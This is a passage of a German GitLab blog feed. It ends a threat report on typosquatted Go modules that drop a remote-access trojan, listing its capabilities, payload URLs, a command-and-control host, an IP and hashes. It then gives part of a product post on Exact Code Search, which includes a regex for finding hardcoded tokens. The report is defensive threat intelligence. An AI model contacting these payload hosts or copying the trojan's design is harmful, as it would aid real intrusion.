<p><strong>Schicht 4:</strong> Die <code>chainelli.mp3</code>-Datei ist tatsächlich eine statisch gelinkte, gestrippte ELF Go-Binärdatei, die darauf ausgelegt ist, persistenten Remote-Zugriff herzustellen. Nach der Ausführung versucht die Malware, sich mit ihrem Command-and-Control-Server bei <code>ellipal.spoolsv.cyou</code> auf Port 443 (sowohl TCP als auch UDP) zu verbinden, wobei ein benutzerdefiniertes verschlüsseltes Kommunikationsprotokoll mit einem hartcodierten RSA-Schlüssel verwendet wird. Von dort aus bietet sie dem Bedrohungsakteur Remote-Administrationsfähigkeiten:</p>
<ul>
<li>Vollständiger Remote-Shell-Zugriff und einmalige Befehlsausführung</li>
<li>Screenshot-Aufnahmen</li>
<li>SOCKS-Proxy-Funktionalität, um Verbindungen über die kompromittierte Maschine herzustellen</li>
<li>Konfigurierbares Schlafintervall zwischen Check-ins mit dem Command-and-Control-Server zur Vermeidung von Erkennung</li>
<li>Standard-Remote-Access-Trojaner-Funktionen wie Dateisystem-Browsing und Upload/Download</li>
</ul>
<h2>Sie sind zurück (schon wieder)</h2>
<p>Nur vier Tage nachdem GitLab das erste bösartige Modul gemeldet und seine Entfernung beobachtet hatte, erschien <code>github.com/qiiniu/qmgo</code> – die zweite Typosquatting-Version mit identischem bösartigem Code. Diese schnelle Neubereitstellung demonstriert die Hartnäckigkeit dieser Angriffe und zeigt, wie Bedrohungsakteure sich schnell an Takedown-Bemühungen anpassen.</p>
<h2>GitLabs Ansatz: Nadeln im Heuhaufen finden</h2>
<p>Die anfängliche Entdeckung und Beständigkeit dieses Angriffs bestätigte unseren Ansatz zur proaktiven Abhängigkeitsüberwachung und Bedrohungserkennung. GitLabs Erkennungssystem kombiniert mehrere Techniken zur Identifizierung bösartiger Abhängigkeiten:</p>
<p><strong>Typosquatting-Erkennung:</strong> GitLab überwacht neu veröffentlichte Abhängigkeiten und sucht nach Paketen, die Anzeichen verschiedener Typosquatting-Strategien zeigen.</p>
<p><strong>Semantische Heuristik:</strong> Unser System analysiert Code statisch auf Muster wie Netzwerkanfragen, Befehlsausführungen und andere für bösartige Payloads typische Verhaltensweisen.</p>
<p><strong>KI-unterstützte Analyse:</strong> Ein <a href="https://about.gitlab.com/de-de/blog/what-is-a-large-language-model-llm/">Large Language Model</a> führt die anfängliche Analyse der verdächtigen Teile des Codes durch, um uns zu helfen, offensichtliche Fehlalarme auszusortieren, komplexe Payloads zu erkennen und Verschleierungstechniken zu identifizieren, die verwendet werden, um bösartige Absichten zu verbergen.</p>
<p><strong>Menschliche Überprüfung:</strong> Ein Mensch erhält eine Warnung, um den Fund zu verifizieren und eine erweiterte Analyse durchzuführen.</p>
<h2>Empfehlungen: Persistenten Supply-Chain-Bedrohungen voraus bleiben</h2>
<p>Dieser Angriff unterstreicht die anhaltenden Herausforderungen bei der Sicherung von Software-Supply-Chains. Die mehrschichtige Verschleierung und schnelle Neubereitstellung nach dem Takedown zeigen, dass Bedrohungsakteure bereit sind, erheblichen Aufwand zu investieren, um beliebte Abhängigkeiten ins Visier zu nehmen.</p>
<p>Der schnelle Wechsel zu neuen Typosquatting-Paketen nach unserer ersten Meldung hebt eine grundlegende Schwäche in den aktuellen Ökosystemen hervor: Paketmanager entfernen bösartige Abhängigkeiten normalerweise erst, nachdem sie veröffentlicht, entdeckt und von der Community gemeldet wurden. Dieser reaktive Ansatz hinterlässt ein gefährliches Zeitfenster, in dem Entwickler(innen) unwissentlich kompromittierte Pakete konsumieren können. Proaktive Überwachungs- und Erkennungssysteme wie das von GitLab entwickelte können helfen, diese Lücke zu schließen, indem sie Bedrohungen während des Veröffentlichungsprozesses selbst identifizieren.</p>
<p>Wir haben Indicators of Compromise (IOCs) im nächsten Abschnitt bereitgestellt, die in Überwachungssystemen verwendet werden können, um diese spezifische Kampagne zu erkennen.</p>
<h2>Indicators of Compromise</h2>
<table>
<thead>
<tr>
<th style="text-align:left">IOC</th>
<th style="text-align:left">Beschreibung</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left"><code>github.com/qiniiu/qmgo</code></td>
<td style="text-align:left">Bösartiges Go-Modul</td>
</tr>
<tr>
<td style="text-align:left"><code>github.com/qiiniu/qmgo</code></td>
<td style="text-align:left">Bösartiges Go-Modul</td>
</tr>
<tr>
<td style="text-align:left"><code>https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html</code></td>
<td style="text-align:left">Payload-Bereitstellungs-URL</td>
</tr>
<tr>
<td style="text-align:left"><code>https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html</code></td>
<td style="text-align:left">Payload-Bereitstellungs-URL</td>
</tr>
<tr>
<td style="text-align:left"><code>https://img.googlex.cloud/seed.php</code></td>
<td style="text-align:left">Payload-Bereitstellungs-URL</td>
</tr>
<tr>
<td style="text-align:left"><code>http://207.148.110.29:80/logon61.gif</code></td>
<td style="text-align:left">Payload-Bereitstellungs-URL</td>
</tr>
<tr>
<td style="text-align:left"><code>http://207.148.110.29:80/chainelli.mp3</code></td>
<td style="text-align:left">Payload-Bereitstellungs-URL</td>
</tr>
<tr>
<td style="text-align:left"><code>img.googlex.cloud</code></td>
<td style="text-align:left">Payload-Bereitstellungs-Host</td>
</tr>
<tr>
<td style="text-align:left"><code>207.148.110.29</code></td>
<td style="text-align:left">Payload-Bereitstellungs-Host</td>
</tr>
<tr>
<td style="text-align:left"><code>ellipal.spoolsv.cyou</code></td>
<td style="text-align:left">Command &amp; Control-Host</td>
</tr>
<tr>
<td style="text-align:left"><code>6ada952c592f286692c59028c5e0fc3fa589759f</code></td>
<td style="text-align:left">SHA-1-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware</td>
</tr>
<tr>
<td style="text-align:left"><code>8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c</code></td>
<td style="text-align:left">SHA-256-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware</td>
</tr>
<tr>
<td style="text-align:left"><code>/tmp/vod</code></td>
<td style="text-align:left">Temporärer Download-Speicherort der chainelli.mp3 Remote-Administrations-Malware</td>
</tr>
</tbody>
</table>
<h2>Wie GitLab hilft, die Software-Supply-Chain zu sichern</h2>
<p>Bösartige Abhängigkeiten wie der MongoDB Go-Modul-Angriff zeigen, warum die Sicherung der Software-Supply-Chain mehr als nur CVE-Überwachung erfordert. GitLabs DevSecOps-Plattform umfasst <a href="https://docs.gitlab.com/user/application_security/secure_your_application/">Application Security Testing</a>-Scanner wie Software Composition Analysis im Entwicklungslebenszyklus, die Teams helfen, verwundbare oder bösartige Pakete zu erkennen, bevor sie die Produktion erreichen.</p>
<p>Gepaart mit Forschungsbemühungen wie dieser zielt GitLab darauf ab, Entwickler(inne)n zu ermöglichen, Anwendungen zu erstellen, die von Anfang an sicher sind, ohne die Entwicklungsgeschwindigkeit zu beeinträchtigen.</p>
<h2>Zeitlinie</h2>
<ul>
<li><strong>2025-06-01T09:31:</strong> GitLab meldet <code>github.com/qiniiu/qmgo</code> an Go Security</li>
<li><strong>2025-06-01T09:43:</strong> GitLab meldet <code>github.com/qiniiu/qmgo</code> an GitHub</li>
<li><strong>2025-06-01T10:14:</strong> GitLab meldet <code>ellipal.spoolsv.cyou</code> (<code>188.166.213.194</code>) an den IP-Block-Eigentümer</li>
<li><strong>2025-06-02T04:03:</strong> Go Security entfernt <code>github.com/qiniiu/qmgo</code></li>
<li><strong>2025-06-02T09:57:</strong> Der IP-Block-Eigentümer sperrt <code>188.166.213.194</code></li>
<li><strong>2025-06-03T09:15:</strong> GitHub sperrt <code>github.com/qiniiu</code></li>
<li><strong>2025-06-05T17:15:</strong> GitLab meldet <code>github.com/qiiniu/qmgo</code> an Go Security</li>
<li><strong>2025-06-05T17:33:</strong> GitLab meldet <code>github.com/qiiniu/qmgo</code> an GitHub</li>
<li><strong>2025-06-05T17:45:</strong> Go Security entfernt <code>github.com/qiiniu/qmgo</code></li>
<li><strong>2025-06-06T12:25:</strong> GitHub sperrt <code>github.com/qiiniu</code></li>
</ul>
]]></content>
        <author>
            <name>Michael Henriksen</name>
            <uri>https://about.gitlab.com/blog/authors/michael-henriksen</uri>
        </author>
        <published>2025-06-30T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Exact Code Search: Code schneller über Repositories hinweg finden]]></title>
        <id>https://about.gitlab.com/de-de/blog/exact-code-search-find-code-faster-across-repositories/</id>
        <link href="https://about.gitlab.com/de-de/blog/exact-code-search-find-code-faster-across-repositories/"/>
        <updated>2025-06-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><strong>Kurz gesagt:</strong> Was wäre, wenn du jede Codezeile in 48 TB an Repositories in Millisekunden finden könntest? GitLabs neue <a href="https://docs.gitlab.com/ee/user/search/exact_code_search.html">Exact Code Search</a> macht genau das möglich – mit präzisen Treffern, leistungsstarker Regex-Unterstützung und kontextbezogenen mehrzeiligen Ergebnissen, die die Arbeit mit großen Codebasen revolutionieren.</p>
<h2>Warum traditionelle Code-Suche herausfordernd ist</h2>
<p>Jeder, der mit Code arbeitet, kennt die Frustration bei der Suche über Repositories hinweg. Egal ob du als Entwickler(in) einen Fehler debuggst, als DevOps-Ingenieur(in) Konfigurationen untersuchst, als Sicherheitsanalyst(in) nach Schwachstellen suchst, als technische(r) Redakteur(in) Dokumentationen aktualisierst oder als Manager(in) Implementierungen überprüfst – du weißt genau, was du brauchst, aber herkömmliche Suchwerkzeuge lassen dich oft im Stich.</p>
<p>Diese konventionellen Tools liefern Dutzende von False Positives, bieten nicht den nötigen Kontext zum Verständnis der Ergebnisse und werden mit wachsenden Codebasen immer langsamer. Das Ergebnis? Wertvolle Zeit wird mit der Suche nach der Nadel im Heuhaufen verschwendet, anstatt Software zu entwickeln, zu sichern oder zu verbessern.</p>
<p>GitLabs Code-Suchfunktion basierte bisher auf Elasticsearch oder OpenSearch. Diese eignen sich zwar hervorragend für die Suche in Issues, Merge Requests, Kommentaren und anderen Daten mit natürlicher Sprache, wurden aber nicht speziell für Code entwickelt. Nach der <a href="https://gitlab.com/groups/gitlab-org/-/epics/7404">Evaluierung zahlreicher Optionen</a> haben wir eine bessere Lösung entwickelt.</p>
<h2>Wir stellen vor: Exact Code Search – drei bahnbrechende Funktionen</h2>
<p>Mit GitLabs <strong><a href="https://docs.gitlab.com/ee/user/search/exact_code_search.html">Exact Code Search</a></strong>, derzeit in der Beta-Phase und angetrieben von <a href="https://github.com/sourcegraph/zoekt">Zoekt</a> (ausgesprochen &quot;sukt&quot;, niederländisch für &quot;sucht&quot;). Zoekt ist eine Open-Source-Code-Suchmaschine, die ursprünglich von Google entwickelt und jetzt von Sourcegraph gepflegt wird – speziell konzipiert für schnelle, präzise Code-Suche im großen Maßstab. Wir haben sie mit GitLab-spezifischen Integrationen, Verbesserungen für Unternehmensmaßstäbe und nahtloser Integration des Berechtigungssystems erweitert.</p>
<p>Diese Funktion revolutioniert, wie du Code findest und verstehst, mit drei Hauptfunktionen:</p>
<p><strong>1. Exact Match-Modus: Null False Positives</strong></p>
<p>Im <strong>Exact Match-Modus</strong> liefert die Suchmaschine nur Ergebnisse, die exakt deiner Suchanfrage entsprechen, und eliminiert False Positives. Diese Präzision ist unbezahlbar beim:</p>
<ul>
<li>Suchen nach spezifischen Fehlermeldungen</li>
<li>Finden bestimmter Funktionssignaturen</li>
<li>Aufspüren von Instanzen spezifischer Variablennamen</li>
</ul>
<p><strong>2. Regular Expression-Modus: Leistungsstarkes Pattern Matching</strong></p>
<p>Für komplexe Suchanforderungen ermöglicht der Regular Expression-Modus die Erstellung ausgefeilter Suchmuster:</p>
<ul>
<li>Finde Funktionen, die bestimmten Namensmustern folgen</li>
<li>Lokalisiere Variablen mit bestimmten Einschränkungen</li>
<li>Identifiziere potenzielle Sicherheitslücken mittels Pattern Matching</li>
</ul>
<p><strong>3. Mehrzeilige Treffer: Code im Kontext sehen</strong></p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1750704179/ttjuilkt3v7gtyywnchx.png" alt="Exact Code Search"></p>
<p>Statt nur eine einzelne Zeile mit deinem Suchbegriff zu sehen, erhältst du den umgebenden Kontext, der für das Verständnis des Codes entscheidend ist. Das eliminiert die Notwendigkeit, für grundlegendes Verständnis in Dateien zu klicken, und beschleunigt deinen Workflow erheblich.</p>
<h2>Von Funktionen zu Workflows: Anwendungsfälle und Auswirkungen aus der Praxis</h2>
<p>Schauen wir uns an, wie diese Funktionen zu echten Produktivitätssteigerungen in alltäglichen Entwicklungsszenarien führen:</p>
<h3>Debugging: Von der Fehlermeldung zur Ursache in Sekunden</h3>
<p>Vor Exact Code Search:
Eine Fehlermeldung kopieren, suchen, durch Dutzende von Teiltreffern in Kommentaren und Dokumentation waten, durch mehrere Dateien klicken und schließlich den tatsächlichen Code finden.</p>
<p>Mit Exact Code Search:</p>
<ol>
<li>Die exakte Fehlermeldung kopieren</li>
<li>Sie in Exact Code Search im Exact Match-Modus einfügen</li>
<li>Sofort die präzise Stelle finden, wo der Fehler ausgelöst wird, mit umgebendem Kontext</li>
</ol>
<p><strong>Auswirkung:</strong> Reduziere die Debugging-Zeit von Minuten auf Sekunden und eliminiere die Frustration durch False Positives.</p>
<h3>Code-Exploration: Unbekannte Codebasen schnell meistern</h3>
<p>Vor Exact Code Search:
Durch Verzeichnisse browsen, fundierte Vermutungen über Dateispeicherorte anstellen, Dutzende von Dateien öffnen und langsam eine mentale Karte der Codebasis aufbauen.</p>
<p>Mit Exact Code Search:</p>
<ul>
<li>Nach Schlüsselmethoden oder -klassen im Exact Match-Modus suchen</li>
<li>Mehrzeilige Treffer überprüfen, um Implementierungsdetails zu verstehen</li>
<li>Den Regular Expression-Modus nutzen, um ähnliche Muster in der Codebasis zu finden</li>
</ul>
<p><strong>Auswirkung:</strong> Baue eine mentale Karte der Code-Struktur in Minuten statt Stunden auf und beschleunige Onboarding und teamübergreifende Zusammenarbeit dramatisch.</p>
<h3>Refactoring mit Zuversicht</h3>
<p>Vor Exact Code Search:
Versuchen, alle Instanzen einer Methode zu finden, einige Vorkommen übersehen und durch unvollständiges Refactoring Fehler einführen.</p>
<p>Mit Exact Code Search:</p>
<ul>
<li>Den Exact Match-Modus nutzen, um alle Vorkommen von Methoden oder Variablen zu finden</li>
<li>Kontext überprüfen, um Verwendungsmuster zu verstehen</li>
<li>Dein Refactoring mit vollständigen Informationen über die Auswirkungen planen</li>
</ul>
<p><strong>Auswirkung:</strong> Eliminiere die &quot;übersehene Instanz&quot;-Fehler, die Refactoring-Bemühungen oft plagen, verbessere die Code-Qualität und reduziere Nacharbeit.</p>
<h3>Sicherheitsaudits: Verwundbare Muster finden</h3>
<p>Sicherheitsteams können:</p>
<ul>
<li>Regex-Muster erstellen, die bekanntem verwundbarem Code entsprechen</li>
<li>Über alle Repositories in einem Namespace suchen</li>
<li>Schnell potenzielle Sicherheitsprobleme mit Kontext identifizieren, der bei der Risikobewertung hilft</li>
</ul>
<p><strong>Auswirkung:</strong> Verwandle Sicherheitsaudits von manuellen, fehleranfälligen Prozessen in systematische, umfassende Überprüfungen.</p>
<h3>Repository-übergreifende Einblicke</h3>
<p>Suche über deinen gesamten Namespace oder deine Instanz, um:</p>
<ul>
<li>Ähnliche Implementierungen in verschiedenen Projekten zu identifizieren</li>
<li>Möglichkeiten für gemeinsame Bibliotheken oder Standardisierung zu entdecken</li>
</ul>
<p><strong>Auswirkung:</strong> Baue Silos zwischen Projekten ab und identifiziere Möglichkeiten für Code-Wiederverwendung und Standardisierung.</p>
<h2>Die technische Grundlage: Wie Zoekt Geschwindigkeit und Präzision liefert</h2>
<p>Bevor wir in unsere Skalierungserfolge eintauchen, lass uns erkunden, was Zoekt grundlegend von traditionellen Suchmaschinen unterscheidet – und warum es exakte Treffer so unglaublich schnell finden kann.</p>
<h3>Positionale Trigramme: Das Geheimnis blitzschneller exakter Treffer</h3>
<p>Zoekts Geschwindigkeit kommt von der Verwendung <strong>positionaler Trigramme</strong> – einer Technik, die jede Sequenz von drei Zeichen zusammen mit ihren exakten Positionen in Dateien indexiert. Dieser Ansatz löst einen der größten Schmerzpunkte, die Entwickler(innen) mit Elasticsearch-basierter Code-Suche hatten: False Positives.</p>
<p>So funktioniert es:</p>
<p><strong>Traditionelle Volltextsuchmaschinen</strong> wie Elasticsearch tokenisieren Code in Wörter und verlieren Positionsinformationen. Wenn du nach <code>getUserId()</code> suchst, könnten sie Ergebnisse liefern, die <strong>user</strong>, <strong>get</strong> und <strong>Id</strong> über eine Datei verteilt enthalten – was zu diesen frustrierenden False Positives für GitLab-Nutzer(innen) führt.</p>
<p><strong>Zoekts positionale Trigramme</strong> behalten exakte Zeichensequenzen und ihre Positionen bei. Wenn du nach <code>getUserId()</code> suchst, sucht Zoekt nach den exakten Trigrammen wie <strong>get</strong>, <strong>etU</strong>, <strong>tUs</strong>, <strong>Use</strong>, <strong>ser</strong>, <strong>erI</strong>, <strong>rId</strong>, <strong>Id(</strong>, <strong>d()</strong>, alle in der korrekten Reihenfolge und Position. Das stellt sicher, dass nur exakte Treffer zurückgegeben werden.</p>
<p>Das Ergebnis? Suchanfragen, die zuvor Hunderte irrelevanter Ergebnisse lieferten, liefern jetzt nur noch die präzisen Treffer, nach denen du suchst. Das war <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/325234">eine unserer meistgewünschten Funktionen</a> aus gutem Grund – Entwickler(innen) verloren erhebliche Zeit beim Durchsuchen von False Positives.</p>
<h3>Regular Expression-Performance im großen Maßstab</h3>
<p>Zoekt glänzt bei exakten Treffern und ist für Regular Expression-Suchen optimiert. Die Engine nutzt ausgefeilte Algorithmen, um Regex-Muster wenn möglich in effiziente Trigramm-Abfragen umzuwandeln und behält die Geschwindigkeit selbst bei komplexen Mustern über Terabytes von Code bei.</p>
<h2>Entwickelt für Unternehmensmaßstäbe</h2>
<p>Exact Code Search ist leistungsstark und für massive Skalierung mit beeindruckender Performance gebaut. Das ist nicht nur eine neue UI-Funktion – sie wird von einer komplett neu konzipierten Backend-Architektur angetrieben.</p>
<h3>Terabytes von Code mit Leichtigkeit bewältigen</h3>
<p>Allein auf GitLab.com indexiert und durchsucht unsere Exact Code Search-Infrastruktur über <strong>48 TB</strong> an Code-Daten bei gleichzeitig blitzschnellen Antwortzeiten. Diese Größenordnung repräsentiert Millionen von Repositories über Tausende von Namespaces, alle innerhalb von Millisekunden durchsuchbar. Um das in Perspektive zu setzen: Diese Größenordnung repräsentiert mehr Code als die gesamten Linux-Kernel-, Android- und Chromium-Projekte zusammen. Dennoch kann Exact Code Search eine spezifische Zeile in dieser massiven Codebasis in Millisekunden finden.</p>
<h3>Selbstregistrierende Node-Architektur</h3>
<p>Unsere innovative Implementierung bietet:</p>
<ul>
<li><strong>Automatische Node-Registrierung:</strong> Zoekt-Nodes registrieren sich selbst bei GitLab</li>
<li><strong>Dynamische Shard-Zuweisung:</strong> Das System weist Namespaces automatisch Nodes zu</li>
<li><strong>Gesundheitsüberwachung:</strong> Nodes, die sich nicht melden, werden automatisch als offline markiert</li>
</ul>
<p>Diese selbstkonfigurierende Architektur vereinfacht die Skalierung dramatisch. Wenn mehr Kapazität benötigt wird, können Administratoren einfach weitere Nodes hinzufügen, ohne komplexe Neukonfiguration.</p>
<h3>Verteiltes System mit intelligentem Load Balancing</h3>
<p>Hinter den Kulissen arbeitet Exact Code Search als verteiltes System mit diesen Schlüsselkomponenten:</p>
<ul>
<li><strong>Spezialisierte Such-Nodes:</strong> Zweckgebundene Server, die Indexierung und Suche übernehmen</li>
<li><strong>Intelligentes Sharding:</strong> Code wird basierend auf Namespaces über Nodes verteilt</li>
<li><strong>Automatisches Load Balancing:</strong> Das System verteilt Arbeit intelligent basierend auf Kapazität</li>
<li><strong>Hohe Verfügbarkeit:</strong> Mehrere Replikate gewährleisten kontinuierlichen Betrieb, selbst wenn Nodes ausfallen</li>
</ul>
<p><em>Hinweis: Hohe Verfügbarkeit ist in die Architektur integriert, aber noch nicht vollständig aktiviert. Siehe <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/514736">Issue 514736</a> für Updates.</em></p>
<h3>Nahtlose Sicherheitsintegration</h3>
<p>Exact Code Search integriert sich automatisch mit GitLabs Berechtigungssystem:</p>
<ul>
<li>Suchergebnisse werden basierend auf den Zugriffsrechten des Nutzers gefiltert</li>
<li>Nur Code aus Projekten, auf die der Nutzer Zugriff hat, wird angezeigt</li>
<li>Sicherheit ist in die Kernarchitektur integriert, nicht nachträglich hinzugefügt</li>
</ul>
<h3>Optimierte Performance</h3>
<ul>
<li><strong>Effiziente Indexierung:</strong> Große Repositories werden in Dutzenden von Sekunden indexiert</li>
<li><strong>Schnelle Query-Ausführung:</strong> Die meisten Suchen liefern Ergebnisse mit Antwortzeiten unter einer Sekunde</li>
<li><strong>Streaming-Ergebnisse:</strong> Die neue gRPC-basierte föderierte Suche streamt Ergebnisse, sobald sie gefunden werden</li>
<li><strong>Frühzeitiger Abbruch:</strong> Sobald genügend Ergebnisse gesammelt wurden, pausiert das System die Suche</li>
</ul>
<h2>Von der Bibliothek zum verteilten System: Technische Herausforderungen, die wir gelöst haben</h2>
<p>Während Zoekt die Kern-Suchtechnologie bereitstellte, war es ursprünglich als minimale Bibliothek zur Verwaltung von <code>.zoekt</code>-Indexdateien konzipiert – nicht als verteilte Datenbank oder Unternehmens-Service. Hier sind die wichtigsten technischen Herausforderungen, die wir überwunden haben, um es in GitLabs Maßstab zum Laufen zu bringen:</p>
<h3>Herausforderung 1: Aufbau einer Orchestrierungsschicht</h3>
<p><strong>Das Problem:</strong> Zoekt war für die Arbeit mit lokalen Indexdateien konzipiert, nicht für die Verteilung über mehrere Nodes, die viele gleichzeitige Nutzer bedienen.</p>
<p><strong>Unsere Lösung:</strong> Wir haben eine umfassende Orchestrierungsschicht aufgebaut, die:</p>
<ul>
<li>Datenbankmodelle erstellt und verwaltet, um Nodes, Indizes, Repositories und Aufgaben zu verfolgen</li>
<li>Eine selbstregistrierende Node-Architektur implementiert (inspiriert von GitLab Runner)</li>
<li>Automatische Shard-Zuweisung und Load Balancing über Nodes hinweg handhabt</li>
<li>Bidirektionale API-Kommunikation zwischen GitLab Rails und Zoekt-Nodes bereitstellt</li>
</ul>
<h3>Herausforderung 2: Skalierung von Speicher und Indexierung</h3>
<p><strong>Das Problem:</strong> Wie verwaltet man effizient Terabytes von Indexdaten über mehrere Nodes bei gleichzeitig schnellen Updates?</p>
<p><strong>Unsere Lösung:</strong> Wir implementierten:</p>
<ul>
<li>Intelligentes Sharding: Namespaces werden basierend auf Kapazität und Last über Nodes verteilt</li>
<li>Unabhängige Replikation: Jeder Node indexiert unabhängig von <a href="https://gitlab.com/gitlab-org/gitaly">Gitaly</a> (unserem Git-Speicherdienst), wodurch komplexe Synchronisation eliminiert wird</li>
<li>Watermark-Management: Ausgefeilte Speicherzuweisung, die verhindert, dass Nodes der Speicherplatz ausgeht</li>
<li>Einheitliche Binary-Architektur: Ein einzelnes <code>gitlab-zoekt</code>-Binary, das sowohl im Indexer- als auch im Webserver-Modus arbeiten kann</li>
</ul>
<h3>Herausforderung 3: Berechtigungsintegration</h3>
<p><strong>Das Problem:</strong> Zoekt hatte kein Konzept von GitLabs komplexem Berechtigungssystem – Nutzer sollten nur Ergebnisse aus Projekten sehen, auf die sie Zugriff haben.</p>
<p><strong>Unsere Lösung:</strong> Wir haben native Berechtigungsfilterung direkt in den Suchablauf integriert:</p>
<ul>
<li>Suchanfragen enthalten Nutzerberechtigungskontext</li>
<li>Ergebnisse werden gefiltert, um nur die anzuzeigen, auf die der Nutzer zugreifen kann, falls sich Berechtigungen ändern, bevor die Indexierung abgeschlossen ist</li>
</ul>
<h3>Herausforderung 4: Betriebliche Einfachheit</h3>
<p><strong>Das Problem:</strong> Die Verwaltung eines verteilten Suchsystems sollte kein dediziertes Team erfordern.</p>
<p><strong>Unsere Lösung:</strong></p>
<ul>
<li>Auto-Scaling: Das Hinzufügen von Kapazität ist so einfach wie das Bereitstellen weiterer Nodes – sie registrieren sich automatisch und beginnen mit der Arbeit</li>
<li>Selbstheilung: Nodes, die sich nicht melden, werden automatisch als offline markiert und ihre Arbeit wird umverteilt</li>
<li>Zero-Configuration-Sharding: Das System bestimmt automatisch optimale Shard-Zuweisungen</li>
</ul>
<h2>Schrittweiser Rollout: Risikominimierung im großen Maßstab</h2>
<p>Der Rollout eines komplett neuen Such-Backends für Millionen von Nutzern erforderte sorgfältige Planung. So haben wir die Auswirkungen auf Kunden minimiert und gleichzeitig Zuverlässigkeit sichergestellt:</p>
<h3>Phase 1: Kontrolliertes Testen (gitlab-org-Gruppe)</h3>
<p>Wir begannen damit, Exact Code Search nur für die <code>gitlab-org</code>-Gruppe zu aktivieren – unsere eigenen internen Repositories. Das ermöglichte uns:</p>
<ul>
<li>Das System mit echten Produktions-Workloads zu testen</li>
<li>Performance-Engpässe zu identifizieren und zu beheben</li>
<li>Den Bereitstellungsprozess zu optimieren</li>
<li>Aus den Workflows und dem Feedback echter Nutzer zu lernen</li>
</ul>
<h3>Phase 2: Performance-Validierung und -Optimierung</h3>
<p>Vor der Erweiterung konzentrierten wir uns darauf sicherzustellen, dass das System GitLab.coms Maßstab bewältigen konnte:</p>
<ul>
<li>Umfassendes Monitoring und Alerting implementiert</li>
<li>Speicherverwaltung mit echtem Produktionsdatenwachstum validiert</li>
</ul>
<h3>Phase 3: Schrittweise Kundenerweiterung</h3>
<p>Wir erweiterten schrittweise auf Kunden, die daran interessiert waren, Exact Code Search zu testen:</p>
<ul>
<li>Feedback zu Performance und Benutzererfahrung gesammelt</li>
<li>Die Such-UI basierend auf echten Nutzer-Workflows verfeinert</li>
<li>Indexierungs-Performance optimiert (große Repositories wie <code>gitlab-org/gitlab</code> indexieren jetzt in ~10 Sekunden)</li>
<li>Die Architektur basierend auf betrieblichen Erkenntnissen verfeinert</li>
<li>Indexierungs-Durchsatz massiv erhöht und Zustandsübergangs-Lebenszyklus verbessert</li>
</ul>
<h3>Phase 4: Breiter Rollout</h3>
<p>Heute haben über 99% der Premium- und Ultimate-lizenzierten Gruppen auf GitLab.com Zugriff auf Exact Code Search. Nutzer können:</p>
<ul>
<li>Zwischen Regex- und exaktem Suchmodus umschalten</li>
<li>Die Vorteile ohne Konfigurationsänderungen erleben</li>
<li>Bei Bedarf auf die vorherige Suche zurückgreifen (obwohl wenige dies wählen)</li>
</ul>
<p>Der schrittweise Rollout bedeutete, dass Nutzer keine Service-Unterbrechungen, Performance-Verschlechterungen oder Feature-Lücken während des Übergangs erlebten. Wir haben bereits positives Feedback von Nutzern erhalten, die bemerken, dass ihre Ergebnisse relevanter und schneller werden.</p>
<blockquote>
<p><strong>Für technische Details:</strong> Interessiert an der detaillierten Architektur und Implementierung? Schau dir unser umfassendes <a href="https://handbook.gitlab.com/handbook/engineering/architecture/design-documents/code_search_with_zoekt/">Design-Dokument</a> für ausführliche technische Details an, wie wir dieses verteilte Suchsystem gebaut haben.</p>
</blockquote>
<h2>Erste Schritte mit Exact Code Search</h2>
<p>Der Einstieg in Exact Code Search ist einfach, da es bereits standardmäßig für Premium- und Ultimate-Gruppen auf GitLab.com aktiviert ist (über 99% der berechtigten Gruppen haben derzeit Zugriff).</p>
<h3>Schnellstart-Anleitung</h3>
<ol>
<li>Navigiere zur erweiterten Suche in deinem GitLab-Projekt oder deiner Gruppe</li>
<li>Gib deinen Suchbegriff im Code-Tab ein</li>
<li>Wechsle zwischen Exact Match- und Regular Expression-Modus</li>
<li>Nutze Filter, um deine Suche zu verfeinern</li>
</ol>
<h3>Grundlegende Such-Syntax</h3>
<p>Egal ob du den Exact Match- oder Regular Expression-Modus verwendest, du kannst deine Suche mit Modifikatoren verfeinern:</p>
<table>
<thead>
<tr>
<th>Abfrage-Beispiel</th>
<th>Was es bewirkt</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>file:js</code></td>
<td>Sucht nur in Dateien, die &quot;js&quot; im Namen enthalten</td>
</tr>
<tr>
<td><code>foo -bar</code></td>
<td>Findet &quot;foo&quot;, schließt aber Ergebnisse mit &quot;bar&quot; aus</td>
</tr>
<tr>
<td><code>lang:ruby</code></td>
<td>Sucht nur in Ruby-Dateien</td>
</tr>
<tr>
<td><code>sym:process</code></td>
<td>Findet &quot;process&quot; in Symbolen (Methoden, Klassen, Variablen)</td>
</tr>
</tbody>
</table>
<blockquote>
<p><strong>Profi-Tipp:</strong> Für die effizientesten Suchen beginne spezifisch und erweitere dann bei Bedarf. Die Verwendung von <code>file:</code>- und <code>lang:</code>-Filtern erhöht die Relevanz dramatisch.</p>
</blockquote>
<h3>Erweiterte Suchtechniken</h3>
<p>Stapele mehrere Filter für Präzision:</p>
<pre><code>is_expected file:rb -file:spec
</code></pre>
<p>Das findet &quot;is_expected&quot; in Ruby-Dateien, die nicht &quot;spec&quot; im Namen haben.</p>
<p>Nutze reguläre Ausdrücke für leistungsstarke Muster:</p>
<pre><code>token.*=.*[\&quot;']
</code></pre>
<p><a href="https://gitlab.com/search?search=token.*%3D.*%5B%5C%22'%5D&amp;nav_source=navbar&amp;project_id=46649240&amp;group_id=9970&amp;search_code=true&amp;repository_ref=main&amp;regex=true">Sieh dir diese Suche im GitLab Zoekt Repository an.</a></p>
<p>Die Suche hilft, hartcodierte Passwörter zu finden, die, wenn nicht gefunden, ein Sicherheitsproblem darstellen können.</p>
<p>Für detailliertere Syntax-Informationen, schau in die <a href="https://docs.gitlab.com/user/search/exact_code_search/#syntax">Exact Code Search-Dokumentation</a>.</p>
<h2>Verfügbarkeit und Bereitstellung</h2>
<h3>Aktuelle Verfügbarkeit</h3>
